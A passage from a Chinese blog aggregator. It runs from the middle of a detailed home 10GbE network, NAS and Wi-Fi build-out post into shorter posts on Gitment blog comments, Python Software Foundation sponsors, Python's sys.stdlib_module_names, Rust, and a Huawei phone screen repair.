显然目前还做不到家里面的设备全用光纤,因此自然要有支持光电转换的交换机了,这就是拓扑图中的 8 口光电交换机和 24 口交换机了。为什么有两个呢,因为家里有两层,楼上一个楼下一个。

24 口交换机选用的是 TP-Link 的 TL-SH1226,这款交换机有两个 SFP+ 万兆光口和 24 个标准千兆 RJ45 端口,也是属于比较便宜的产品。

另一个 8 口光电交换机则是 QNAP 威联通的 QSW-308-1C,这是一款完全针对家用设计的小巧美观的交换机。为什么选择这一款交换机呢,主要是因为它足够小,而且采用了无风扇设计十分静音,很适合放在客厅的弱电箱旁边。这台交换机虽然小,然而接口却十分丰富 —— 8 个 1GbE RJ45 接口,2 个 10GbE SFP+ 光口,还有一个极为特别的 10GbE/5GbE/2.5GbE/1GbE SFP+/RJ45 组合自适应端口。市面上 10GbE 的电口产品已经很少了,这种全速率兼容的光电两用口更是独一无二的设计。

目前 1GbE 电口用了 6 个 —— 3 个 RJ45 面板及 3 个 AP 面板;2 个 10GbE SFP+ 光口都用到了 —— 1 个用于连接 TL-ST1008F 全光交换机,另一个用于连接 PC 主机;至于那个组合端口,目前是当作 2.5 GbE 电口来用的,使用了 Cat 7 网线来连接笔记本电脑。整体资源使用率还是很高的,并没有浪费那么多的接口~

光模块

不同于 RJ45 接口,光纤并不是直接插到交换机等设备上的,SFP+ 接口需要插入的是 SFP+ 光模块,光模块再和光纤连接。光模块的型号相对比较复杂,有不同的接口(LC,SC,电口 等),不同的传播模式(多模 SR,单模 LR 等),此外还存在一定的兼容性问题(和网卡或交换机的兼容性),因此选购的时候需要去先补充些基础知识,再多和商家交流下才行。不过一般不兼容的话都是可以退货的,所以可以先买来看看再说。同样是考虑到兼容性,一条光纤两端用的模块通常都是选同一型号的,不同型号的能不能混着用就不确定了。

这里还有一个坑,一般光纤都会考虑长距离通信问题,因此很多光模块的宣传重点是我们的模块 10km 还能用云云,然而家里面就几十米,10km 能用反而几十米难说就不能用了……原因是光强度太强的话接收端有可能会出现饱和问题,此时通信会很不稳定。之前买过一对光模块就发现这个问题了,ping 丢包率实在太高,和厂家的工程师沟通了好久才找到原因。解决方案也很简单粗暴,加上一个几块钱的衰减器即可。当然不是所有光模块都有这问题的,也有些模块短距离通信不加衰减器也不会出现饱和问题。

除入户光纤使用的是 SC 接口外,其他内网线路一般都使用双芯 LC 接口的多模光纤。囤积的各种光模块和衰减器:

光模块们

网卡及适配器

目前电脑主板基本是没有自带光口的,因此需要买单独的网卡。万兆网卡最经典的选择就是 Intel 的 82599ES 了,大量互联网公司机房里使用的万兆网卡都是这型号的,稳定性啥的无需担心,模块兼容性也相对较好。82599ES 是芯片型号,因此有不同厂家的产品,同时有单口和双口两种型号可供选择。

然而 82599 也有翻车的时候,实际测试下来 82599 不能和威联通的 QSW-308-1C 交换机配合使用。威联通官网上有个兼容性列表,然而里面列出来的是模块不是网卡,并没有提到网卡也有兼容性问题。然而功夫不负有心人,我还是找到了一款能正常使用且相对便宜的网卡,这就是博通 Broadcom 57810S

台式机可以装 PCIE 网卡来支持万兆网络,笔记本怎么办呢?除了极少数原生支持 2.5GbE 或者更高速率 RJ45 电口的笔记本外,只能通过 Type-C 口来外接适配器实现了。

绿联有一款 2.5GbE 的外置网卡,同时有 Type A 和 Type C 两种接口的版本,用下来体验还行,就是发热比较严重,不过也没感觉到对稳定性有影响。写这篇文章的时候发现绿联又出了一款 5GbE 的产品,同样是使用 RJ45 电口的,最重要的是,这两款产品的价格都比较亲民,感觉可以搞来试试。

至于 10GbE 的外置网卡,目前只发现了威联通的 QNA-T310G1S,这是一款 SFP+ 光口的外置网卡,至于价格嘛,当然是比较贵了,笔记本其实对 10GbE 没有太高需求,因此暂时没考虑入手。

线材

网线目前基本用 Cat 6 的网线就差不多了,也可以选择 Cat 7 的,价格差不了多少,至于 Cat 8 的嘛,哪时候可以搞一根来看看。其实严格来说并不存在 Cat X 的网线对应什么速率的关系,信号衰减程度和距离关系很大,如果就几米距离 Cat 5e 的网线一样可以达到万兆的水平。距离长了 Cat 7 的网线也是会有问题的,当然在等距离下,Cat 级别越高的网线肯定更好些喽。不过越好的网线也会越硬,如果要穿线的话就更困难了,这时候扁线的优势就体现出来了,而且扁线看起来也要高级那么一些呢。


至于光纤的选择,入户光纤没得选,就一条单模光纤;局域网内部使用的光纤一般用双芯多模光纤,与网线类似,光纤也是分等级的,从 OM1~OM5,不同等级的光纤外壳颜色不一样,比网线更好区分。一般来说,使用水蓝色的 OM3 光纤就可以了,详细信息可以看看这篇文章:

OM1、OM2、OM3、OM4和OM5多模光纤有什么区别?

与成品网线相对应的光纤叫做光纤跳线,就是两端都有 LC 或 SC 接口的光纤线,长这样的:

光纤跳线

这种光纤使用起来十分稳定且方便,成品买来直接插上就好了,然而和网线一样的,由于接口体积比较大,长距离穿线时都是用没有两端接口的线的。网线的话买些水晶头和接线钳来自己练习下就可以搞定 RJ45 接口的安装了,光纤可就没这么简单了。

光纤一般是买尾纤来连接起来的,所谓的尾纤就是只有一端做好接口的光纤,两条尾纤接起来就是完整的光纤了。然而要怎么接呢?有两种方法,冷接和熔接。最初我以为自己可以搞定冷接的,买了一堆工具来尝试冷接,坑爹的是接是接起来了,然而不是一拉就断了,就是插入损耗太大简直没法用……

最终还是认清现实了,乖乖的去淘宝上找了同城提供光纤熔接服务的商家上门来进行光纤熔接。光纤熔接后需要一个熔接盒/熔接盘一类的东西来进行一些保护,这些可以自己去单独买,也可以请熔接的商家带一些来,最终成品的效果:

光纤熔接盒


除了这种普通光纤外,还有一种很特殊的光纤——隐形透明光纤,这种光纤一般用于在室内拉明线时使用,不注意看基本看不到,十分美观。这种光纤都是单模光纤,没有多模光纤,因此对应的光模块也要选择单模模块。客厅交换机到工作室 PC 的连接我就使用了这种光纤。


两个 SFP+ 接口在短距离连接时更好的选择是使用 DAC 线而非光模块 + 光纤的形式。DAC 线实际上就是铜线,两端都是 SFP+ 接口,像网线那样直接插上去就可以用了,十分方便。DAC 线只能用于短距离连接,然而它的稳定性和兼容性比模块 + 光纤好太多了。

DAC 线

性能测试

来测试下万兆网络的性能吧,在软路由服务器上运行 iperf3 作为服务器端,PC 上运行 iperf3 客户端:

万兆网络 iperf 测试

可以达到 8Gbps 的速度,已经比较满意了。

无线网络

由于家里墙体较多,因此选择了无线 AP 的方式来提供 WiFi 服务。AP 分为两种,带管理功能的 FAT 模式胖 AP 及单纯的接入点瘦 AP,有不少 AP 是二合一的,可以自行选择使用哪种模式。考虑到多个 AP 要能较为方便的进行统一管理,使用瘦 AP 模式 + 单独的 AC 控制器是最优选择。

从家居美观的角度来看,86 面板型 AP 无疑是一个很好的选择,一般是一个房间或相邻几个房间放一个。当然更严谨的做法是简单算算无线覆盖情况,以此来决定把面板放哪,这在装修阶段比较实用。TP-Link 提供了一款小工具来计算 WiFi 无线场强分布情况:

TP-LINK无线规划工具 V1.0.5

Mac 上有另一款类似工具,张大妈上已经有人安利了:

实用小软件 篇四:家庭无线布网好帮手,一张图让看清WIFI(内含下载)

86 面板型 AP 一般都是 PoE 供电的,常用做法是直接选择带 PoE 功能的交换机或 AC 控制器即可,然而为了选择带万兆 SFP+ 接口的交换机已经把范围缩小了很多,此类交换机基本都是没有 PoE 接口的。此时可以选择再买几个单独的 PoE 交换机来,先不说搞一堆交换机来不优雅的问题,这么做有个缺点,两个交换机之间只能通过单条网线进行串联,因此相当于多个 AP 接入点是共享了 1GbE 的带宽。虽然实际上这并不会对使用造成什么影响,然而总是觉得不爽啊。

于是去搞了一对一的 PoE 供电器来,即每路 AP 都是一条输入线一条输出线。此类模块单路的比较常见,然而家里面有 6 个 AP,买 6 个供电器来实在太丑陋了,所以当时找了好久,终于在闲鱼上发现了一款 4 路供电模块,就是上文机柜 PDU 电源图中电源上面那个东西。这东西现在在淘宝上都搜不到的,也算是捡到好货了。

至于 AP 面板的选择,这套无线是两年前搭建的,当时 WiFi 6 才刚出来没多久,因此支持 WiFi 6 的 86 型 AP 面板就没几款,基本没有选择,所以目前家里面用的是 TP-Link 的 XAP1800GI-PoE,这是款 AX1800 AP,两年多用下来稳定性还不错,也就整体重启过 1,2 次,属于可以接受的范畴。

现在有些速率更高的产品出来了,比如 XAP30000GI-PoE,XAP5400GI-PoE 等,其中 XAP30000GI-PoE 的性价比不错,如果是现在重新安装估计就选这一款了。当然了,已经装好的显然没有足够动力去把它换掉的,等将将来 WiFi 7 出来再看看有没有啥吸引我更换设备的点吧。

至于单独的 AC 管理器,选 TP 最便宜的 TL-AC100 就可以了。不过这里又遇到一个坑啊,当初从闲鱼上买了个二手的 TL-AC100 来,发现不能用,然后才发现同样的型号有不同的硬件版本号,老版本的不支持新的 AP……

这类 AP 都可以提供很多个 SSID 供接入的,目前使用了 3 个,一个主要自用的;一个供访客使用,打开了 AP 隔离开关;前两个都是 2.4G 5G 双频合一的,然而有些智能家居设备不支持双频合一,于是又单独搞了个纯 2.4G 的 SSID,专供各种智能设备使用。

AP 接入方案的优点自然就是信号覆盖好了,现在家里面卫生间角落也能保证有稳定的 2.4G 网络可用,实现了无死角全覆盖。然而这方案理完美还有不少距离的,最大的痛点就是移动过程中 AP 切换问题,自动切换当然是可以切换的,然而这一过程并不能做到完全无感。看视频这类应用因为有本地缓冲,基本没啥影响,但如果在使用着微信语音之类实时应用就会感到切换时会卡几秒……

据说 WiFi 7 已经在着手解决此问题了,方案是同时建立和多个 AP 的连接,而非现在这样断了一个连另一个,感觉可以期待下未来的实际表现。

至于 WiFi 速率问题,其实只有距离 AP 面板或路由器很近时才能发挥出 5G WiFi 的能力,高频信号衰减很快,基本穿一堵混凝土墙后无线速率就会大幅下降。来看看实际测试结果吧:

  • 距离面板很近时:

  • 隔了一堵墙,只有一半了:

  • 卫生间角落里,只有 2.4G 了,不过实测速率还行:

外网远程访问

家里面有这么多有趣的东西,在外面的时候当然会想着翻回家来看看喽~出于方便性及安全考虑,只把一个单点对外暴露,通过这个单点统一认证接入家庭内网后再访问其他服务。

最早的方案是用软路由实现的 L2TP 或 OpenVPN,然而此方案稳定性不佳,经常会连不上,折腾来折腾去都会有各种奇怪问题。再加上换了电信新的光猫后,DMZ,端口映射这些功能还一直不太正常……于是放弃了这条路,选择了使用蒲公英旁路路由方案,就是这货:

蒲公英 P5

蒲公英 P5 最大的优点是,它是以旁路路由的形式工作的,可以很完美的接入现有网络架构中,没有附加多余功能,专注于远程组网。使用起来也很简单,Oray 提供了各平台的客户端,直接下载使用即可。一般情况下都可以打通 P2P 隧道,这样就是点对点通信了,不需要中转,带宽仅取决于两端网络情况。

不过蒲公英 P5 有个很奇葩的设计,免费版本只能接入 2 台终端设备,不够的话要额外购买服务,我想着要买就买吧,价格正常也可以接受,然后就看到奇葩东西了,要买的话一个终端 ¥78 一年,先不说这价格贵不贵,关键是,我要加第 3 个设备,不是按正常人类的想法,再买一个就好了,而是要把之前两个免费的也算上,一共买 3 个终端才行

算算价格,我每年要花 200 多的服务费,然而这设备本身才 200 多块钱,我为什么不再买一个?于是乎,就有了两个蒲公英 P5……


蒲公英 P5 目前只能算满足基本需求能用了,目前正准备升级这部分,搞一套飞塔 Fortinet 的 SDWAN 防火墙来。Fortinet 算是国际大厂了,大量中小型企业甚至是大型企业的硬件防火墙使用的都是 Fortinet 的产品,在 Gartner 的魔力象限中也遥遥领先。目前主推的桌面型无风扇设备是下面这三款:

Fortigate

当然了,如此先进的企业级设备价格也是企业级的喽,全新机器基本都是 5000 以上的。这么贵的全新机器当然是买不起的,由于有大量企业在使用 Fortinet 的产品,自然想到去闲鱼上找一些二手设备来用用了。反正现在魔都也发不了快递,正好好好研究下选那个型号好。

软路由服务器

实际上这就是一台正常 PC 机,硬件上没有什么特别的,处理器是多年前的 AMD 1700,64G 内存,2 块 SATA SSD + 1 块 NVME,网卡就是前文提到的双口 82599,此外还有主板自己板载的 RJ45 口。

机器安装了 PVE 作为虚拟化平台,PVE 同时支持虚拟机和 LXC 容器,软路由使用的是虚拟机,其他的 LXC 容器居多。当然说到容器的话 Docker 的生态会更好些,因此也同时安装了 Docker,LXC 和 Docker 混合着使用,能用 LXC 的优先选 LXC,LXC 没有的用 Docker。

软路由的选择上也折腾过很多,目前用的是 HomeLede 这个基于 OpenWRT 的定制版本:

软路由的稳定性上还是有所欠缺,基本每个月都要重启一次系统才行,不过好在一般重启了也就都正常了。

这台机器当然不仅仅是作为软路由来使用的,只当软路由也太浪费了一些,上面还运行着各种不同服务:

  • Ubuntu 20.04,用于当作日常开发机使用,VS Code 啥的都是用远程模式连过去工作的;
  • Gogs,比 Gitlab 更轻量级的私有 Git 仓库,简单好用;
  • MySQL,基础数据库服务;
  • InfluxDB,时序数据库服务,用于保存智能家居等的监控数据;
  • Home Assistant,开源智能家居控制中心;
  • Nginx + PHP & Node.js,用于搭建家庭小网站;
  • 。。。。。。

NAS 存储

家庭中心化存储的核心自然就是 NAS 啦,目前家里面有两台 NAS,一台用蜗牛星际搭的黑群晖,另一台是威联通的 TS-532X。来一张合影:

NAS

蜗牛星际就不多说了,懂的都懂,多年前垃圾佬最爱的东西,几百块钱就有 NAS 了。然而垃圾毕竟是垃圾,使用起来问题不少,最严重的问题是,蜗牛星际机器的散热太差了,装满 4 块硬盘同时工作的时候,经常触发超温报警,甚至是直接过热关机因此目前重要的资料都没放在这个 NAS 上,也正在想办法改进下散热问题……

威联通的 TS-532X 还是很好用的,可以装 3 块 3.5 寸盘 + 2 块 2.5 寸盘,一般那两块 2.5 寸盘都是放 SSD 的,QNAP 有 QTier 自动分层技术,可以自动把经常使用的数据移到 SSD 上。

RAID 的配置上,3 块 HDD 使用 RAID 0,2 块 SSD 使用 RAID 1。至于怎么解决 RAID 0 数据安全性问题呢,当然是备份喽,其实 RAID 并不是解决数据安全性良好的方案,更大的意义是提供高可用和高性能。

数据备份

QNAP 的数据备份功能做得还是不错的,用的是 HBS3 这款软件,前几个月刚刚添加了百度网盘支持,因此目前备份比较好的选择是百度网盘和阿里的 OSS 对象存储。两个我都试用了一下,HBS3 对阿里 OSS 的支持似乎有些 Bug,太大的单体文件(比如几十 GB 的文件)上传会失败,给他们提了工单不知道目前解决了么。因此目前备份选择的是百度网盘。在初始几次全量备份的时候失败率比较高,会有些文件上传失败,不过不用管它,多来几次,后面的定期增量备份数据量不大基本都是全部成功的。

备份任务

QNAP 提供了数据加密功能,上传上去的数据可以都预先加密一次,因此无需过多担心隐私安全问题。如果想要从百度网盘里下载个别文件怎么解密呢,此时可以使用 QENC Decrypter 工具:

QENC Decrypter

硬盘选择

再来说下硬盘选择问题吧,大部分 NAS 玩家都喜欢使用希捷酷狼,西数红盘等,其实这里还有一个性价比更高的选择,那就是选企业级硬盘。企业级硬盘在可靠性,性能等方面是完全可以满足要求的,质保也要更长(一般都是 5 年),单位 GB 价格其实还要更低一些,唯一的缺陷是企业级盘不太考虑噪音,功耗等问题。威联通自己的推荐磁盘列表里就有不少希捷银河系列企业盘。目前我用的是希捷的 ST8000NM000A & ST3000NM0033,分别是 8T 和 3T 的盘。当前性价比比较高的是 16T 的 ST16000NM000J:

UPS 电源

最后再来说下供电问题吧,为了避免突然断电对硬盘造成不可逆损坏,一般 NAS 前都会加 UPS 不间断电源。为 NAS 设计的 UPS 有个 USB 输出口,发生断电后会通知 NAS 关机。不过这个 USB 口只有一个,只能连接到一台 NAS 上,那有多台 NAS 怎么办呢?让连接 USB 接口的 NAS 通过网络向其他 NAS 进行广播就好了。

UPS 设置

性能测试

从 NAS 中拷贝大文件至 PC:

NAS 性能测试

这个速度在维持了一段时间后会有所降低,此时的性能瓶颈是在 NAS 的 HDD 读取速度上的,要是买个盘更多的 NAS 或者直接用 SSD 那就可以充分发挥出万兆网络的优势了。

December 03, 2022 08:39 AM

为Hexo博客Yelee主题添加Gitment评论系统

本来博客使用的是多说作为评论系统,前两年多说停止服务了换成了友言,用了没多久友言又要求备案不能用了……后面由于工作繁忙也就没管这个了。前段时间发现Gitment这个基于Github Issue的评论系统不错,这两天终于有空把它给加上了。

我使用的主题是基于Yelee做了些修改得到的,Yelee又是基于Yilia的,添加Gitment的过程可以参考这篇文章:

Hexo 添加 Gitment 评论

Yiila主题也添加了Gitment支持,其Commit也是很有参考价值的。

与以上教程有区别的是,无需安装Gitment npm插件,添加修改的代码我也改了下,有兴趣的话可以看这个Commit

其中Gitment的CSS & JS文件改为了本地压缩后的版本,评论框的显示效果也调整了下。

终于评论系统又可以用啦~

Update:

2021-06-12: Gitment 的 Github OAuth 是依赖于外部服务器的,目前公共的挂得差不多了,需要自己搭一个,参考下文:

gitment修复[object ProgressEvent]


Update at 2022-05-21:

gitment 需要一个中间服务器的原因在于 Github OAuth Response 是不支持 CORS 的,因此若直接由浏览器发起请求会被拒绝。Github 的文档中也明确指出由前端直接发起 OAuth 请求的方式是不被支持的。

Why does Gitment send a request to gh-oauth.imsun.net?

Authorizing OAuth Apps

所以需要一个代理服务,即上文提到的 gh-oauth-server。之前是找了台云服务器来做这个事,然而对于这种一天就没几次请求的业务来说,单独用一台服务器来部署实在是太浪费了,更好的方法是使用 Serverless 服务来做这个事。

因此又对 Gitment 评论系统做了些升级改造:

  • 使用阿里云函数计算 FCAPI 网关 搭建 Serverless 服务,运行 gh-oauth-server。使用 FC 提供的 Node Express 模板,都不需要修改 gh-oauth-server 的代码就可以直接运行了;API Gateway 也基本是跟着文档在界面上配置下就可以正常调用 FC 函数了。二者都有一定量的免费额度,足够个人博客用了。
  • 原始的 gh-oauth-server 作为一个通用开源服务,起到的只是个单纯代理的作用,此时 Gitment 的 Client Secret 是以明文形式直接编码在前端 js 文件中的,这其实是违背 OAuth 安全建议的做法。然而若 gh-oauth-server 不是作为个公开的代理服务,而是给某个特定网站用的,那完全可以把 Client Secret 写在后端 gh-oauth-server 里面,这样就安全多了。
  • 原始的 Gitment 作者是用的是 Github OAuth 应用,这存在权限过高的问题,对于访客来说可能不是那么令人放心。因此更好的做法是使用 Github 应用来代替 Github OAuth 应用,Github 应用可以只开放对某个 repo 的 issue 权限。创建 Github 应用的步骤和创建 Github OAuth 的步骤基本一致,使用方法也差不多,直接把 Gitment 配置中的 Client ID 配置为 Github 应用的 Client ID 即可。实际尝试下来此时 Gitment 完全可以正常工作。

December 03, 2022 08:39 AM

November 21, 2022

pythoncat

谷歌、微软、Meta?谁才是 Python 最大的金主?

你知道维护 Python 这个大规模的开源项目,每年需要多少资金吗?
答案是:约 200 万美元!
PSF(Python 软件基金会)在 2022 年 6 月发布了 2021 的年度报告,其中披露了以下这份支出明细(单位:千美元):
总支出金额 196 万美元,基本与 2020 年持平,不知道这个数额有没有超出你的预期呢?
另外,在收入方面,2021 年总收入为 271 万,因此年度净结余为 75 万。(PS.加上之前的资产,目前基金会还有 506 万~)
PSF 是一个独立的非营利性机构, 致力于促进 Python 语言的发展与推广、促进 Python 国际化多元化社区的繁荣。虽然不以营利为目标,但不可否认的是,它也有着一笔不菲的金钱诉求:有更多的收入,才能实现更大的目标,才能发挥出基金会的更大价值。
比如,尽管 PSF 在 2001 年就成立了,但是,直到 20 年后,它才拥有了第一位全职的开发者!也就是说,长久以来,基金会的其他成员及核心开发者们都只是兼职或志愿者!
将来若有更多收入的话,PSF 很有可能会再次扩员全职的开发者,必然能创造出更多的可能性!
既然 PSF 开销不小,诉求也大,那么,它目前的资金是怎么来的呢?
PSF 主要的资金来源是大大小小的金主所赞助,比如,JetBrains(Pycharm 出自这家公司)恰巧正在为 PSF 举行年终筹款。通过以下链接可以 7 折购买 Pycharm Pro,全部销售额将捐献给 Python。

JetBrains 活动(2022.11.22结束):https://blog.jetbrains.com/zh-hans/pycharm/2022/11/jetbrains-pycharm-python/

PSF 将赞助者们分成了七类:远景的(Visionary)、持续的(Sustainability)、保持的(Maintaining)、贡献的(Contributing)、支持的(Supporting)、伙伴的(Partner)、联合的(Associate)。
标题中的谷歌、微软、Meta 都是 PSF 最高级别的远景赞助者。但是,谁才是 Python 最大的金主呢?
下面,我将根据相关新闻资讯,梳理大家比较感兴趣的这三家公司对 PSF 的赞助。
谷歌从 2010 年起成为 PSF 的赞助者,在 2021 年 2 月成为首个远景赞助者(赞助 35 万美元,以及其它资源)。资金主要用于提升 Python 生态的供应链安全,资源主要为 Google Cloud 的产品:
  • 开发用于检测 PyPI 恶意软件的产品
  • 改善 Python 的基础设施工具与服务
  • 2021 年资助 CPython 一名常驻开发者(Developer-in-Residence),他全职分析 CPython 项目的维护优先级,帮助解决积压的工作
  • 赞助谷歌云基础设施,比如用于 Pypi 的云存储,谷歌云公开数据集(Google Cloud Public Datasets)支持 Pypi 的下载统计、项目元数据查询分析
除此之外,谷歌还参与赞助了 Python 的各类活动,比如,2022 年 10 月为期 5 天的核心开发者 sprint 活动
(2022年核心开发者 Sprint 活动合影)
微软从 2006 年起成为 PSF 的赞助者,在 2021 年 4 月成为远景赞助者(赞助 15 万美元,以及其它资源)。
  • 资助打包工作组,助力改善 PyPI 和打包生态
  • 包括 Guido van Rossum 在内的 6 人团队,兼职为 Faster CPython 项目作贡献
  • 雇用了 Python 生态系统中关键开源项目的几个核心贡献者和维护者
  • 通过 VS Code 相关插件、pyright、Azure 相关服务等,为 Python 社区作贡献
其中比较瞩目的是包括 Python 之父在内的豪华开发团队,可以通过微软发布的《A Team at Microsoft is Helping Make Python Faster》 了解这支团队以及正在做的事。(正在开发 3.12,可查阅《Python 3.12 Goals》)
除此之外,微软也是各类活动的主要赞助方之一,比如 2022 年 10 月的一场 Hacktoberfest ,比如 2019 年的核心开发者 sprint 活动
(2019年核心开发者 Sprint 活动合影)
Meta(即 Facebook)在 2022 年 3 月成为远景赞助者(赞助 30 万美元)。
  • 资助 2022 年的 Developer-in-Residence
  • 通过 Cinder 解释器给上游贡献,提升 CPython 解释器性能
  • 维护和支撑 PyPI,管理 Python 知识产权,提供托管 Python 发行版的基础设施
同样地,Meta 也是 Python 各类活动的主要赞助方之一,比如,2016 年 9 月的第一期核心开发者sprint 活动,这为之后每年的惯例活动开了一个好头!
(2016年核心开发者 Sprint 活动合影)
另外,值得一提的是,在 2019 年 12 月,陈和扎克伯格基金会(Chan Zuckerberg Initiative)连同 Mozilla 一起给 PSF 赞助了 40.7 万美元,而扎克伯格正是 Meta 的掌舵人。
这几家科技巨头对 Python 的赞助有一个明显的共同点,即有不少资金用于 Python 基础设施的维护。这里只给大家分享几个关键的数据(出自年度报告,统计维度:2021 年):
  • 1100 亿次 Python 发行版下载量
  • 1265 亿次 PyPI 软件包下载量(36.9 万个软件包)
  • 以上这么多下载量需要 324 PB 数据传输,或 82.2 Gbps 带宽,并且是 24x7x365
如此大数量级的服务,其实现的困难程度可想而知,而这仅是冰山一角。
回到前文的话题:谁才是 Python 最大的金主呢?
如果你只看它们成为远景赞助者时单次的资金量的话,容易得出一个答案,但是,这没有意义!
因为,每个赞助方对 Python 的赞助都是全方位的长期持续性的(比如谷歌的云服务、微软的人力投入、对 CPython 及开源生态的贡献、每年各式各样的活动、宣传与推广),很多内容根本无法直接通过金钱来衡量!
另外,需要说明的是,本文为了话题性及便利性,主要介绍了三家巨头企业成为 PSF 远景赞助者的相关信息,并不代表其它赞助者的贡献不值一提。
所有赞助者、志愿者、开发者都有一个共同的愿景:那就是希望 Python 语言、Python 生态、Python 社区变得越来越好!
大家一起自豪地做着一些力所能及的贡献,这才是十分值得称道的事,你觉得呢?

November 21, 2022 12:00 AM

November 19, 2022

pythoncat

Python冷知识:如何找出新版本增加或删除了哪些标准库?

“内置电池”是 Python 最为显著的特性之一,它提供了 200 多个开箱即用的标准库。但是,历经了 30 多年的发展,很多标准库已经成为了不得不舍弃的历史包袱,因为它们正在“漏电”!
好消息是,Python 正在进行一场“瘦身手术”,详情可查阅:
那么,我们会有这样一个话题:当 Python 发布了一个新版本的时候,如何找出它比上一个版本(或者更早版本)增加或删除了哪些标准库呢?
比如,当 Python 发布 3.11.1 版本时,如何找出它相比于上一个版本(即 3.11.0),增删了哪些标准库呢?
也许你马上就想到了一个办法:查看官方的版本变更文档啊~
没错,官方文档里肯定包含了我们所需的变更信息,但是,每个版本的《What’s New》里信息太多了,这种没有特定目标的搜索,只会费时费力。
假如要跨多个版本进行比较的话,比如 3.12 与 3.10 间的差异、或者未来的 3.x 跟现在的 3.11 比较,这个方法就更不好用了吧!
在 3.10 版本之前,想要获知标准库的变化情况,确实不太方便。但是,自 3.10 起,Python 提供了一个非常便捷的方法:sys.stdlib_module_names
官方文档的描述:
简单查看下它的内容:
如上可见,sys.stdlib_module_names 返回的是一个 frozenset 类型的对象,其元素是所有标准库的名称。
有了详细的标准库清单后,我们就可以通过以下的步骤,比较出不同 Python 版本间的差异啦:
(1)获取旧版本的标准库(比如 3.10.0),序列化后存储到文件/数据库中
>>> import sys
>>> import pickle
>>> with open("libs", "wb") as f:
...     pickle.dump(sys.stdlib_module_names, f)
...
(2)获取新版本的标准库(比如 3.11.0),与旧版本的标准库进行比较
>>> import sys
>>> import pickle
>>> with open("libs", "rb") as f:
...     old_libs = pickle.load(f)
...
>>> sys.stdlib_module_names - old_libs
frozenset({'_typing', '_scproxy', '_tokenize', 'tomllib'})
>>> old_libs - sys.stdlib_module_names
frozenset({'binhex'})
从以上示例中,我们可得知,3.11 相比 3.10 增加了_typing_scproxy_tokenize 以及 tomllib,同时它也减少了一个binhex
简简单单几行代码,这种方法比翻阅繁杂的文档要便捷且准确得多了。
值得注意的是,sys.stdlib_module_names 是 3.10 版本的新特性,在它之前,有一个相似的sys.builtin_module_names ,但它返回的只是被解释器使用到的内置模块:
那么,除了上文提到的获知 Python 标准库删减情况的用途之外,这个新特性还有什么用处呢?换句话说,Python 官方为什么突然新增了sys.stdlib_module_names 这项功能呢?
其实,社区中有一个三方库stdlib-list ,可用于获取部分 Python 版本(2.6-2.7;3.2-3.9)的标准库清单。这个库的作者在文档中提到了他的诉求,也提到其它开发者有着同样的诉求
开发了 sys.stdlib_module_names 这项功能的核心开发者 Victor Stinner 也总结了几个使用场景:
从这些使用场景来看,sys.stdlib_module_names 的作用还真是不小。另外,在写作本文的时候,我从 CPython 的 Issue #87121 中发现,著名的机器学习库pytorch 也需要这项功能。
pytorch 曾经硬编码了每个 Python 版本的标准库列表,代码冗长,现在已经适配成使用新的方法 ,大大方便了后续的维护:
11 月 15 日时,Python 3.12 alpha 2 版本发布了,这个版本开始移除大量过时的废弃的内容(标注库、标准库的子模块、类和函数等)。
感兴趣的同学,可以用本文介绍的“冷知识”,去看看到底出现了哪些变化啦~

November 19, 2022 12:00 AM

November 16, 2022

ray-eldath

简单聊聊编程语言的哲学,以及关于 Rust 的一些想法 (1)

本文是一篇「小作品」。

草,写着写着发现越写越长,一点也不「小」嘛。

或许我真的应该尝试一下「小」作品的体例才是。

我的长期TODO列表里已经躺着五六篇以“博文”开头的条目——原本想着寒假一周一篇很快就能写完,然而到现在也没动笔。爆肝填坑了一个星期,今天实在有点累,不大想打开 RustLion,于是把这篇坑了很久的文章写一写。

在这几篇坑了这么久的文章中其实有一篇已经写了前半部分了,然而咕了太久后半部分要写什么都有点不大记得,于是只能前功尽弃…

本文的主要内容是从我个人的经验出发,简单聊聊对于 Rust 的一些想法和体会。我会尽量避开诸如 “文档质量良好”、“很有特点” 这类宽泛的概括,而尽量将自己在使用 Rust 编程的过程中感受到的一些特别之处、尤其是和此前经历的不同之处拿来说说。我期望如此行文能使得本文对无论是 Rust 初学者、还是仍在观望的开发者甚至是 Rust 老手们都能带来一定启发。

  可能过时

2022/11/17:经过快两年的学习和工业实践,我对编程语言又有了新的认识。本文中对于 Ruby 的评论、尤其是对于 Ruby 优于 Python 的评论,已不再是我当前的看法。不过,很大程度上我仍然保持着占本文主要篇幅的对 Rust 的各种见解,但由于在过去的一年间我的兴趣发生了重大转移(转向系统、尤其是数据系统的领域),我现在较少使用 Rust 语言(这恰恰是由于在本文中提出的一系列 Rust 语言设计不尽人意的原因),较少关注 Rust 语言社区,也更少广泛地思考编程语言本身,本文中的许多观点可能不再能反映编程语言发展的最新情况。

如上文所述,占本文主要篇幅的观点并未明显改变,如果将来发生这种情况,我会修订或补正本文。

November 16, 2022 05:54 PM

November 14, 2022

anji66

华为Nova7SE换屏维修记录

最近这鬼天气,气温上蹿下跳,深秋不见秋,立冬变立夏,秋衣换短袖。这次的维修的手机是客服部的一女同事的手机,单从手机本身来讲其实是没有修的必要的,因为同事新手机都在手上,主要是手机内太多重要的资料需要备份和使用,于是就找到我希望帮忙修复手机。我一向的态度就是死马当活马医,修好还你一部手机,修不好送我一部废品。

我拿到手的时候,这手机外屏边角磕碎,内屏碎了并且花屏,整个屏幕从中框中部分脱离,就图中这个鬼样子。我看屏幕已经都快分离了,初步估计换屏也比较容易,也就随口应了下来,不成想后面换屏竟然要拆主板和中框。

1.jpg


拆后盖和电池

撬棒拆除后盖,还是比较好拆的,因为这部手机曾经换过电池,不是原厂密封胶,都不用加热,直接就能撬开,但是还是草率了,这个换电池估计也是哪个半吊子动手换的,这密封胶打的还不如我,看的我想吐。在拆的时候,由于胶把信号线粘在后盖上了,所以拆除的时候信号线就给拉断了,同时我还发现指纹模块的线也断了,信号线是我拉断的我敢肯定,但是指纹排线没感觉扯断啊。然后看下下排线断裂的地方,竟然有胶,很明显应该是之前换电池的人给扯断的。就顺道问了一下我同事,之前是不是指纹不能使用,她说是的,换了电池以后指纹就不能用了。这我对自己的手法又相信了几分。

2.jpg


万能某宝购买配件

